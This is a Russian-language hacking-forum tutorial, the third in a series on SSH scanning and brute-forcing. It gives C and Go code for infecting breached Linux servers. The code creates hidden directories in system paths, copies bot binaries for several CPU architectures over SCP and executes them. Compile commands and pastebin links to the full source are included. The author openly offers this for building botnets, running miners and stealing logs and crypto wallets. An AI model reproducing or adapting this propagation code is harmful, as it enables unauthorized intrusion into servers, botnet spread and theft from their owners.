• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Сканнинг и брутфорсить SSH. #3 (Заражение)

magic

HDD-drive
Пользователь
Регистрация
24.01.2023
Сообщения
22
Реакции
24
В прошлой статейке тыгыдым , я показал и обьяснил, как находить и брутфорсить SSH. В этой статейке покажу и расскажу, как заражать хакнутых мамочек(тоже кормят денюжкой).
Как и в прошлых статьях, напишу код на C, а также на Golang.
Больше времени уделяю конечно же языку C, потому что C - язык легче и проще для новичков, так еще и недавно появился ;) .
Все исходосы есть на pastebin:
C: https://pastebin.com/u3VkvJCJ
Golang: https://pastebin.com/Aw1X09N4


Вперед начнем с теории, что да как.
Как только получили доступ к дедику, можете начать передавать на устройство свои вкусняшки, чтобы их запустить. Это можно сделать десятками способов.
1. Можно просто запустить с хоста скрипты, которые с помощью wget/ftp и других утилит, качают бинарники с вашего сервака. Но такая херня может произойти, что ваш сервак/домен убьют, тогда нихера у вас не будет.
2. Можно еще передать с помощью scp/sftp. Это уже поинтереснее и получше, потому что даже если с вашим серваком что-то случится, хосты все равно будут заражаться. Но есть один минус: обновления. Зараженные будут передавать свои бинарники, которые могут быть еще не обновленными, старыми. Но это можно тоже решить.
3. Других способов еще много. Телеграм боты, ipfs, и множество других способов
Мы будем юзать scp/sftp.


Ваши бинарники должны быть устойчевы к получению SIGHUP. Просто игнорируйте этот сигнал. Это для того, чтобы когда вы запустили бинарники, Linux не смог их завершить при выходе из сессии заразителя
Покажу код вкратце, не буду грузить как в прошлых статьях.
C:
void LoveYou(ssh_session session) {
  char *buffer = (char *)malloc(512);
  char *bigBuffer = (char *)malloc(MYSFTP_BUFFER_SIZE);
  int rc = 0, parashute_ind = 0;
  ssh_scp scp = NULL;
  while (1) {
    // my_parashute() - находит путь, папку, доступную для записи(заражения) для
    // взломанного пользователя. Грубо говоря - ищем путь, где можем оставить и
    //запустить бинарники.
    if (!my_parachute(buffer, &parashute_ind, session)) {
      //не нашли ни один путь, куда можем разместить бинарники.Печалька, уходим
      //с пустыми руками
      goto free_all;
    }
    parashute_ind++;

    //создаем и инициализируем сессию SCP
    scp = ssh_scp_new(session, SSH_SCP_WRITE | SSH_SCP_RECURSIVE, buffer);
    if (scp == NULL)
      continue;
    if (ssh_scp_init(scp) != SSH_OK) {
      ssh_scp_free(scp);
      scp = NULL;
      continue;
    }

    // my_loving() - переносим наши бинарники в найденный путь(buffer).
    // bigbuffer - буффер для записи и отправки по сокету данных
    if (my_loving(buffer, bigBuffer, scp) < 0) {
      //Не хватило места или какая-то другая ошибка. Ищем другой путь
      ssh_scp_free(scp);
      scp = NULL;
      continue;
    }
    //Успешно отправили бинарники
    ssh_scp_free(scp);
    scp = NULL;
    break;
  }
  //Запускаем бота на устройстве. profit ;)
  execBot(buffer, bigBuffer, session);
free_all:
  ssh_disconnect(session);
  ssh_free(session);
  free(bigBuffer);
  free(buffer);
}
Как видите, механизм заражения довольно простой.
1. Находим путь, куда можем закинуть наши бинарники(просто перечисляем все пути и пытаемся там создать папку, куда будем закидывать бинарники).
2. Передаем туда наши бинарники. Если не получилось(не хватило места или еще что-то), продолжаем искать еще пути.
3. Если передали успешно файлы, запускаем их.


my_parashute() - просто перечисляет все пути, пытается создать там скрытую папочку(.piw/).
Также, для перечисления всех путей, если что сохраняем индекс, чтобы в случае неудачи продолжить перечислять пути.
C:
const char *dropPaths[] = {"/lib/",  "",     "/dev/",    "/dev/shm/",
                           "/var/volatile/", "/tmp/", "/sys/",    "/var/lib/",
                           "/root/",         "/etc/", "/var/log/"};
bool my_parachute(char *wbuff, int *startInd, ssh_session session) {
  int ii = (*startInd), lenDrops = sizeof(dropPaths) / sizeof(const char *);
  if (ii >= lenDrops)
    return false;
  for (; ii < lenDrops; ii++) {
    strcpy(wbuff, dropPaths[ii]);
    strcat(wbuff, ".piw/");
    bool mkdir_rc = create_dir(wbuff, session);
    if (mkdir_rc == true)
      break;
  }
  if (mkdir_rc != true)
    return false;
  (*startInd) = ii;
  return true;
}


my_loving() - отправляет файлы по выбранному пути.
Также мы должны знать путь до текущих бинарников. В случае ошибки возвращает SSH_ERROR(-1).
C:
//char *PATH;  - путь до директории, где лежат наши бинарники. Я часто просто узнаю этот путь из argv[0]
const char*Files[] = {"bin_arm", "bin_x86", "bin_x86_64", "bin_mips", "bin_sh", "bin_arm64", "bin_mips64"};
int my_loving(char *buffer, char *bigBuffer, ssh_scp scp) {
  char *mePATH = (char *)malloc(strlen(PATH) + 64);
  strcpy(mePATH, PATH);
  int errtemp = 0, len_files = sizeof(Files) / sizeof(const char *);
  int len_target_path = strlen(buffer), len_mepath = strlen(mePATH);
  for (int ij = 0; ij < len_files; ij++) {
    strcat(buffer, Files[ij]); //remote path, where we write binaries.
    strcat(mePATH, Files[ij]); //local pathhhh
    errtemp = copy_file(buffer, mePATH, bigBuffer, scp);
    buffer[len_target_path] = '\0'; //отсекаем имя файла для следующего имени файла
    mePATH[len_mepath] = '\0'; //отсекаем имя файла для следующего имени файла
    if (errtemp == SSH_ERROR) {
      return SSH_ERROR;
    }
  }
  return 1; //suckess
}


Ну и самое последнее - запускаем все бинарники. execBot() - формирует запрос для запуска бинарников и запускает их.
Формируется строка по типу("/root/.piw/bin_arm || /root/.piw/bin_x86 || /root/.piw/bin_x86_64 ...")
C:
void execBot(const char *remotePath, char *bigbuffer, ssh_session session) {
  bigbuffer[0] = '\0';
  int len_files = sizeof(Files) / sizeof(const char *);
  for (int i = 0; i < len_files; i++) {
    sprintf(bigbuffer + strlen(bigbuffer), "%s%s", remotePath, Files[i]);
    if (i != (len_files - 1)) {
      strcat(bigbuffer, " || ");
    }
  }
  ssh_exec(bigbuffer, session);
}

Весь остальной код обьяснять нет смысла, просто посмотрите на pastebin.
Также, если делаете на этом основе вирусню, ботнет или что-то другое, лучше пустить это под fork(), потому что иногда прилетают SIGSEV от библиотеки LIBSSH.
Как только вы на устройстве, вы можете запустить майнер, искать логи, криптокошельки и т.д. Может быть кто-то в комментах напишет, что вообще можно на взломаном линуксе найти?

Код на Golang?
Он в разы проще, и его удобнее читать. В стандартном пакете ssh от Golang нет scp. Я как-то читал новость про ботнет FritzFrog. Он стал использовать SCP от публичного репозитория https://github.com/povsister/scp . Теперь этот репозиторий много кто обратил внимание. Почему бы это не заюзать. Только не форкайте его, лучше наверно просто скопировать?
C++:
func helloworld(conn *ssh.Client, user string) {
    rstring := "." + getRandString(7) + "/"
    for _, tmppath := range mimic.dropPaths {
        pth := tmppath + rstring
        if ssh_exec(conn, "mkdir "+pth) != 0 { //mkdir /path/to/.xxxxxxx/
            continue
        }

        //Created /path/to/.xxxxxxx/       . Now scp there files
        scpClient := NewClientFromExistingSSH(conn, &ClientOption{})
        if copyFiles(scpClient, mimic.files, pth) != 0 {
            continue
        }
        strcat_exec(conn, pth)
        break
    }
}
func copyFiles(scp *Client, files []string, pth string) int {
    for _, v := range files {
        f, err := os.Open(mimic.PATH + v)
        if err != nil {
            continue
        }
        err = scp.CopyToRemote(f, pth+v, &FileTransferOption{Timeout: time.Minute * 30, Perm: os.FileMode(0751)})
        f.Close()
        if err != nil {
            return -1
        }
    }
    return 0
}
func strcat_exec(conn *ssh.Client, pth string) {
    cmd := ""
    for h, v := range mimic.files {
        cmd += pth + v
        if h != (len(mimic.files) - 1) {
            cmd += " || "
        }
    }
    ssh_exec_frames(conn, cmd, 40) //executing with timeout in 10s. After we disconnect
}
Выглядит очень сосно) Это просто вкусняшка. Очень удобно читать и красиво. Даже обьяснять нет смысла - все понятно. Самое главное - намного меньше времени уделяется возней с памятью и поиском багов. Это круто.

Что насчет компиляции всего этого.
Если реч идет о Сишке, то скопируй код с pastebin, поменяй немного под себя, и компилируй: gcc infect.cpp -o infect -lssh . (-lssh - библиотека LIBSSH). Правда для компиляции под разные архитектуры(если делаешь ботнет, вирусню для всех Linux), нужно компилить для каждой архитектуры своим кросс-компилятором(типа для x86, x86_64, arm, arm64...)
Golang компилить в разы проще - go build inject.go . И также просто компилировать под разные архитектуры: GOOS=linux GOARCH=arm go build -o infect

Вроде бы это концовка этого цикла статей:
находим -> брутфорсим -> заражаем.
Можно еще написать - получаем вкусняшки от ботов. Логи, криптокошельки. Можно сделать прокси. Правда, я сам плохо разбираюсь, где искать логи и кошелки, да и как. Было бы круто, если бы кто-нибудь кинул мануальчик/статейку по поиску вкусняшек на Linux сервере.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх